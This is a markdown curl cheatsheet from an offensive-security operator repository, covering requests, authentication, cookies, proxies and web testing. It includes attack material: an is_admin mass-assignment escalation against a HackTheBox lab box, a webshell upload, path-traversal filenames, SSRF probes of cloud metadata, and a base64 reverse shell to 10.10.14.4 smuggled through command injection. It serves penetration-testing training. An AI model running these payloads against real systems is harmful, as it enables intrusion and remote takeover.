daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

curl.md (13105B)


      1 ---
      2 title: "cURL"
      3 description: "cURL for web testing: methods, headers, auth, cookies, proxies, file upload/download and scripting."
      4 category: web
      5 tags: [web, http, tooling]
      6 tools: [curl]
      7 difficulty: beginner
      8 updated: "2026-08-09"
      9 source: "vault:Web/Curl Document.pdf"
     10 ---
     11 
     12 # cURL
     13 
     14 Modern web/API reconnaissance and exploitation with curl.
     15 
     16 ## 1. What is cURL?
     17 
     18 `curl` is a command-line client for HTTP(S) and many other protocols. For offensive security it is ideal for API discovery, auth testing, uploading/downloading files, header manipulation, proxying through tooling (e.g., Burp), and driving complex exploit chains from the shell.
     19 
     20 ## 2. General Syntax
     21 
     22 ```bash
     23 # Basic
     24 curl [GLOBAL OPTIONS] [HTTP-OPTIONS] <URL>
     25 
     26 # Show version and features
     27 curl -V
     28 ```
     29 
     30 > **Note —** Common global flags: `-s` silent, `-v` verbose, `-k` insecure TLS, `-L` follow redirects, `-i` include response headers, `-I` HEAD only, `-m` max time, `--connect-timeout`.
     31 
     32 ## 3. Recon & Enumeration
     33 
     34 ### 3.1 Headers, Status, Redirects
     35 
     36 ```bash
     37 # Print response headers + status
     38 curl -is http://target/api
     39 
     40 # Follow redirects and show the chain
     41 curl -sIL http://target -o -
     42 ```
     43 
     44 ### 3.2 Discover API surface
     45 
     46 ```bash
     47 # Probe well-known API docs
     48 curl -s http://target/{api,api/v1,.well-known/openapi.json}
     49 
     50 # Wordlist path discovery (quick and dirty)
     51 for p in auth users admin; do curl -s -o /dev/null -w "%{http_code} %{url}\n" http://target/api/v1/$p; done
     52 ```
     53 
     54 ## 4. Methods & Bodies
     55 
     56 ### 4.1 URL-encoded forms
     57 
     58 ```bash
     59 # application/x-www-form-urlencoded
     60 curl -sX POST http://target/login \
     61   -H 'Content-Type: application/x-www-form-urlencoded' \
     62   --data 'username=alice&password=Password123!'
     63 ```
     64 
     65 ### 4.2 JSON
     66 
     67 ```bash
     68 # POST JSON
     69 curl -sX POST http://target/api/v1/items \
     70   -H 'Content-Type: application/json' \
     71   -d '{"name":"widget","price":1.99}' | jq
     72 
     73 # PUT / PATCH / DELETE
     74 curl -sX PUT    http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"email":"a@b.c"}'
     75 curl -sX PATCH  http://target/api/v1/user/1 -H 'Content-Type: application/json' -d '{"is_admin":1}'
     76 curl -sX DELETE http://target/api/v1/user/1
     77 ```
     78 
     79 ### 4.3 Query params
     80 
     81 ```bash
     82 # Build a query string from -d with -G
     83 curl -sG 'http://target/search' -d 'q=admin' -d 'page=1'
     84 ```
     85 
     86 ## 5. Map Discovery Output to Requests
     87 
     88 | Method | Use |
     89 |---|---|
     90 | GET | `curl -s http://host/path -b 'PHPSESSID=...'` |
     91 | POST | `-X POST` with body: `-H 'Content-Type: application/json' -d '...'` |
     92 | PUT | `-X PUT` and include JSON or form data as required |
     93 | DELETE | `-X DELETE` (often no body) |
     94 | Unknown | Check `OPTIONS`: `curl -i -X OPTIONS http://host/path` |
     95 
     96 If discovery returns grouped endpoints by method, match the method to `-X <METHOD>` and include cookies/headers as needed.
     97 
     98 ```json
     99 {
    100   "admin": {
    101     "GET":  { "/api/v1/admin/auth": "Check if user is admin" },
    102     "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for user" },
    103     "PUT":  { "/api/v1/admin/settings/update": "Update user settings" }
    104   }
    105 }
    106 ```
    107 
    108 ```bash
    109 # Session cookie used for all examples below
    110 SESSION='PHPSESSID=nufb0km8892s1t9kraqhqiecj6'
    111 BASE='http://2million.htb'
    112 
    113 # GET -> /api/v1/admin/auth
    114 curl -s "$BASE/api/v1/admin/auth" -b "$SESSION" | jq
    115 
    116 # POST -> /api/v1/admin/vpn/generate
    117 curl -sv -X POST "$BASE/api/v1/admin/vpn/generate" \
    118   -b "$SESSION" -H 'Content-Type: application/json' \
    119   -d '{"username":"alice"}' | jq
    120 
    121 # PUT -> /api/v1/admin/settings/update
    122 curl -s -X PUT "$BASE/api/v1/admin/settings/update" \
    123   -b "$SESSION" -H 'Content-Type: application/json' \
    124   -d '{"email":"test@2million.htb","is_admin":true}' | jq
    125 ```
    126 
    127 Probe required fields: when the API complains about missing parameters, add them to your JSON until it succeeds.
    128 
    129 ```bash
    130 # Server hints missing fields
    131 curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \
    132   -H 'Content-Type: application/json' -d '{"email":"test@2million.htb"}' | jq
    133 # => { "status": "danger", "message": "Missing parameter: is_admin" }
    134 
    135 # Add the hinted field
    136 curl -s -X PUT "$BASE/api/v1/admin/settings/update" -b "$SESSION" \
    137   -H 'Content-Type: application/json' -d '{"email":"test@2million.htb","is_admin":true}' | jq
    138 ```
    139 
    140 ## 6. From Response to Next Command
    141 
    142 ### 6.1 Redirects and Set-Cookie
    143 
    144 ```http
    145 HTTP/1.1 302 Found
    146 Location: /login
    147 Set-Cookie: PHPSESSID=abc123; Path=/; HttpOnly
    148 ```
    149 
    150 ```bash
    151 # Follow redirects and persist cookies
    152 curl -sL -c jar.txt -b jar.txt "$BASE/protected"
    153 ```
    154 
    155 ### 6.2 Method discovery (Allow/OPTIONS)
    156 
    157 ```http
    158 HTTP/1.1 405 Method Not Allowed
    159 Allow: GET, POST
    160 ```
    161 
    162 ```bash
    163 # Use an allowed method
    164 curl -s -X POST "$BASE/api/v1/items" -H 'Content-Type: application/json' -d '{"name":"x"}'
    165 # Or ask the server
    166 curl -i -X OPTIONS "$BASE/api/v1/items"
    167 ```
    168 
    169 ### 6.3 Authentication hints (WWW-Authenticate)
    170 
    171 ```http
    172 HTTP/1.1 401 Unauthorized
    173 WWW-Authenticate: Basic realm="admin"
    174 WWW-Authenticate: Bearer
    175 WWW-Authenticate: NTLM
    176 ```
    177 
    178 ```bash
    179 # Basic
    180 curl -su user:pass "$BASE/admin"
    181 # Bearer / JWT
    182 curl -H 'Authorization: Bearer <TOKEN>' "$BASE/api/me"
    183 # NTLM
    184 curl --ntlm -u 'DOMAIN\user:pass' "$BASE/"
    185 ```
    186 
    187 ### 6.4 Unsupported Media Type (415)
    188 
    189 ```http
    190 HTTP/1.1 415 Unsupported Media Type
    191 { "message": "Expected application/json" }
    192 ```
    193 
    194 ```bash
    195 curl -s -X POST "$BASE/api/v1/thing" -H 'Content-Type: application/json' -d '{"ok":true}'
    196 ```
    197 
    198 ### 6.5 Find and use CSRF tokens
    199 
    200 ```html
    201 <form action="/profile/update" method="post">
    202   <input type="hidden" name="csrf_token" value="abc123"/>
    203 </form>
    204 ```
    205 
    206 ```bash
    207 # Extract token, keep cookies, then submit
    208 TOKEN=$(curl -s -c jar.txt -b jar.txt "$BASE/profile" \
    209   | sed -n 's/.*name="csrf_token" value="\([^"]*\)".*/\1/p')
    210 curl -s -X POST "$BASE/profile/update" -c jar.txt -b jar.txt \
    211   -H 'Content-Type: application/x-www-form-urlencoded' \
    212   --data "name=alice&csrf_token=$TOKEN"
    213 ```
    214 
    215 ### 6.6 Pagination (Link header)
    216 
    217 ```http
    218 Link: <http://api/items?page=2>; rel="next", <http://api/items?page=10>; rel="last"
    219 ```
    220 
    221 ```bash
    222 NEXT=$(curl -si "$BASE/api/v1/items?page=1" -b "$SESSION" \
    223   | grep -i '^Link:' | sed -n 's/.*<\([^>]*\)>; rel="next".*/\1/p')
    224 [ -n "$NEXT" ] && curl -s "$NEXT" -b "$SESSION" | jq
    225 ```
    226 
    227 ### 6.7 Rate limiting
    228 
    229 ```http
    230 X-RateLimit-Remaining: 0
    231 X-RateLimit-Reset: 1730400000
    232 ```
    233 
    234 ```bash
    235 RESET=$(curl -si "$BASE/api/v1/search?q=admin" | awk -F': ' '/^X-RateLimit-Reset/{print $2}')
    236 WAIT=$((RESET-$(date +%s))); [ $WAIT -gt 0 ] && sleep $WAIT && \
    237   curl -s "$BASE/api/v1/search?q=admin"
    238 ```
    239 
    240 ### 6.8 Use headers requested by server
    241 
    242 ```http
    243 { "error": "Provide header X-API-Key" }
    244 ```
    245 
    246 ```bash
    247 curl -s "$BASE/api/v1/private" -H 'X-API-Key: <API_KEY>'
    248 ```
    249 
    250 ### 6.9 Content-Disposition indicates download
    251 
    252 ```http
    253 Content-Disposition: attachment; filename="report.pdf"
    254 ```
    255 
    256 ```bash
    257 curl -OJ "$BASE/files/report"
    258 ```
    259 
    260 ### 6.10 Discover upload field names from HTML
    261 
    262 ```html
    263 <input type="file" name="upload" />
    264 ```
    265 
    266 ```bash
    267 curl -s -X POST "$BASE/upload" -F 'upload=@/tmp/poc.txt'
    268 ```
    269 
    270 ### 6.11 RESTful heuristics when docs are missing
    271 
    272 | Endpoint | Convention |
    273 |---|---|
    274 | `/api/v1/posts` | list posts, create post (send JSON) |
    275 | `/api/v1/posts/123` | read, replace, often not used, delete, PATCH to partially update |
    276 | `/login`, `/auth` | usually with credentials |
    277 | `/settings/update`, `/generate` | typically POST or PUT with a JSON body |
    278 
    279 ### 6.12 401 vs 403
    280 
    281 ```text
    282 401 Unauthorized -> missing/invalid credentials
    283 403 Forbidden    -> authenticated but not allowed
    284 ```
    285 
    286 ```bash
    287 # 401 -> supply cookie or Authorization
    288 curl -s "$BASE/admin" -b "$SESSION"
    289 # 403 -> try another user/role or alternate endpoint
    290 ```
    291 
    292 ### 6.13 415/422 error messages drive body shape
    293 
    294 ```http
    295 { "message": "Missing: email, is_admin (boolean)" }
    296 ```
    297 
    298 ```bash
    299 curl -s -X PUT "$BASE/api/v1/admin/settings/update" \
    300   -H 'Content-Type: application/json' -b "$SESSION" \
    301   -d '{"email":"alice@example.com","is_admin":true}' | jq
    302 ```
    303 
    304 ## 7. Cookies & Sessions
    305 
    306 ```bash
    307 # Provide a session cookie
    308 curl -s http://target/api -b 'PHPSESSID=abcd...'
    309 
    310 # Maintain a cookie jar across requests
    311 curl -s -c jar.txt -b jar.txt http://target/login -d 'u=a&p=b'
    312 ```
    313 
    314 > **Tip —** Use `-c jar.txt -b jar.txt` to persist authenticated state across multiple requests and terminals.
    315 
    316 ## 8. Authentication
    317 
    318 ```bash
    319 # Basic Auth (auto Base64)
    320 curl -su user:pass http://target/admin
    321 
    322 # Bearer / JWT
    323 curl -H 'Authorization: Bearer <TOKEN>' http://target/api/me
    324 
    325 # NTLM / Negotiate (Kerberos)
    326 curl --ntlm -u 'DOMAIN\user:pass' http://win-target/
    327 curl --negotiate -u : --service-name HTTP --delegation always http://kerb-target/
    328 ```
    329 
    330 ## 9. File Uploads
    331 
    332 ### 9.1 multipart/form-data
    333 
    334 ```bash
    335 # Upload a file with field name 'file'
    336 curl -sX POST http://target/upload \
    337   -F 'file=@/path/webshell.php;type=application/x-php' \
    338   -F 'submit=Upload'
    339 
    340 # Set a forged filename parameter (path traversal in filename)
    341 curl -sX POST http://target/upload -F 'file=@/tmp/poc.txt;filename=..%2f..%2fetc%2fpasswd'
    342 ```
    343 
    344 ### 9.2 Raw file to server
    345 
    346 ```bash
    347 # PUT raw bytes to a writable path
    348 curl -sT ./payload.bin http://target/uploads/payload.bin
    349 ```
    350 
    351 ## 10. Downloads & Exfil
    352 
    353 ```bash
    354 # Save using remote name; honor Content-Disposition
    355 curl -OJ http://target/files/report.pdf
    356 
    357 # Partial content (Range request)
    358 curl -sR 0-1024 http://target/large.iso -o head.bin
    359 ```
    360 
    361 > **Note —** The Range example in the source used `-sR 0-1024`; the standard flag for a byte range is `-r 0-1024` (`--range`). Verify against your curl version.
    362 
    363 ## 11. Proxies & TLS
    364 
    365 ```bash
    366 # Proxy via Burp
    367 curl -x http://127.0.0.1:8080 http://target -s -k
    368 
    369 # SOCKS proxy (e.g., through Chisel/SSH)
    370 curl --socks5 127.0.0.1:1080 http://intranet
    371 
    372 # Force HTTP/2 or HTTP/1.1
    373 curl --http2 https://target
    374 curl --http1.1 https://legacy
    375 
    376 # Insecure TLS, custom SNI, resolve override
    377 curl -k --resolve internal:443:10.0.0.5 https://internal/
    378 ```
    379 
    380 ## 12. Debugging & Output Control
    381 
    382 ```bash
    383 # Show only status code
    384 curl -s -o /dev/null -w '%{http_code}\n' http://target
    385 
    386 # Save body to file and headers to a separate file
    387 curl -sD headers.txt -o body.json http://target/api
    388 
    389 # Trace (raw)
    390 curl --trace-ascii trace.txt http://target
    391 ```
    392 
    393 ## 13. Useful One-Liners
    394 
    395 ```bash
    396 # Check if authenticated API returns true
    397 curl -s 'http://target/api/v1/admin/auth' -b 'PHPSESSID=<SESSION>' | jq
    398 
    399 # JSON change with error-led probing (missing fields -> messages)
    400 curl -sX PUT http://target/api/v1/admin/settings/update \
    401   -H 'Content-Type: application/json' -b 'PHPSESSID=<SESSION>' \
    402   -d '{"email":"me@target","is_admin":1}' | jq
    403 
    404 # Detect command injection via a filename/param
    405 curl -sX POST http://target/api/v1/admin/vpn/generate \
    406   -H 'Content-Type: application/json' -b 'PHPSESSID=<SESSION>' \
    407   -d '{"username":"test;id;"}'
    408 
    409 # Base64 payload launcher
    410 PAY=$(echo 'bash -i >& /dev/tcp/10.10.14.4/1234 0>&1' | base64 -w0)
    411 curl -sX POST http://target/api/v1/admin/vpn/generate \
    412   -H 'Content-Type: application/json' -b 'PHPSESSID=<SESSION>' \
    413   -d "{\"username\":\"test;echo $PAY | base64 -d | bash;\"}"
    414 ```
    415 
    416 > **Warning —** Only perform testing with explicit authorization. Some of the above are intrusive and may cause service disruption.
    417 
    418 ## 14. Header Manipulation
    419 
    420 ```bash
    421 # Override Host (virtual host routing / SSRF pivots)
    422 curl -s https://edge --resolve api.intra:443:10.0.0.5 -H 'Host: api.intra'
    423 
    424 # Origin/Referer forging (CORS/CSRF bypass testing)
    425 curl -s http://target/endpoint -H 'Origin: https://trusted.example' -H 'Referer: https://trusted.example/page'
    426 
    427 # X-Forwarded-* spoofing
    428 curl -s http://target -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Original-URL: /admin'
    429 ```
    430 
    431 ## 15. SSRF Probing
    432 
    433 ```bash
    434 # Direct SSRF probe to metadata (example AWS)
    435 curl -s http://target/proxy?url=http://169.254.169.254/latest/meta-data/
    436 
    437 # Verify DNS-based SSRF with a collaborator
    438 curl -s 'http://target/fetch?u=http://<id>.oast.site/'
    439 ```
    440 
    441 ## 16. Automation & Chaining
    442 
    443 ```bash
    444 # Brute-force endpoints from a list (respect rate limiting)
    445 cat endpoints.txt | xargs -I{} -P5 bash -c \
    446   "curl -s -o /dev/null -w '{} -> %{http_code}\n' http://target{}"
    447 
    448 # Extract token, reuse automatically
    449 auth=$(curl -s http://target/login -d 'u=a&p=b' | jq -r '.token')
    450 curl -s http://target/me -H "Authorization: Bearer $auth" | jq
    451 ```
    452 
    453 ## 17. Bypass Techniques
    454 
    455 ```bash
    456 # Method override
    457 echo '{"_method":"DELETE"}' | \
    458   curl -sX POST http://target/item/1 -H 'Content-Type: application/json' -d @-
    459 
    460 # Content-Type confusion
    461 curl -sX POST http://target/api -H 'Content-Type: application/json; charset=utf-7' -d '{}'
    462 
    463 # Case-variant headers
    464 curl -s http://target -H 'hOsT: admin' -H 'X-Forwarded-For: 127.0.0.1'
    465 ```
    466 
    467 ## 18. Quick Reference
    468 
    469 | Task | Flags |
    470 |---|---|
    471 | Follow redirects | `-L` |
    472 | Proxy (HTTP/S) | `-x http://127.0.0.1:8080` |
    473 | SOCKS proxy | `--socks5 127.0.0.1:1080` |
    474 | Send header | `-H 'Header: value'` |
    475 | Cookie jar | `-c jar.txt -b jar.txt` |
    476 | Upload file (multipart) | `-F 'f=@/path/file'` |
    477 | PUT file | `-T file.bin` |
    478 | Output control | `-o file`, `-D headers.txt`, `-w fmt` |
    479 | HTTP/2 | `--http2` |
    480 | Insecure TLS | `-k` |
    481 
    482 ## 19. Resources
    483 
    484 - [cURL Manual](https://curl.se/docs/manpage.html)
    485 - [HTTP RFCs](https://httpwg.org/specs/)
    486 - [jq](https://stedolan.github.io/jq/)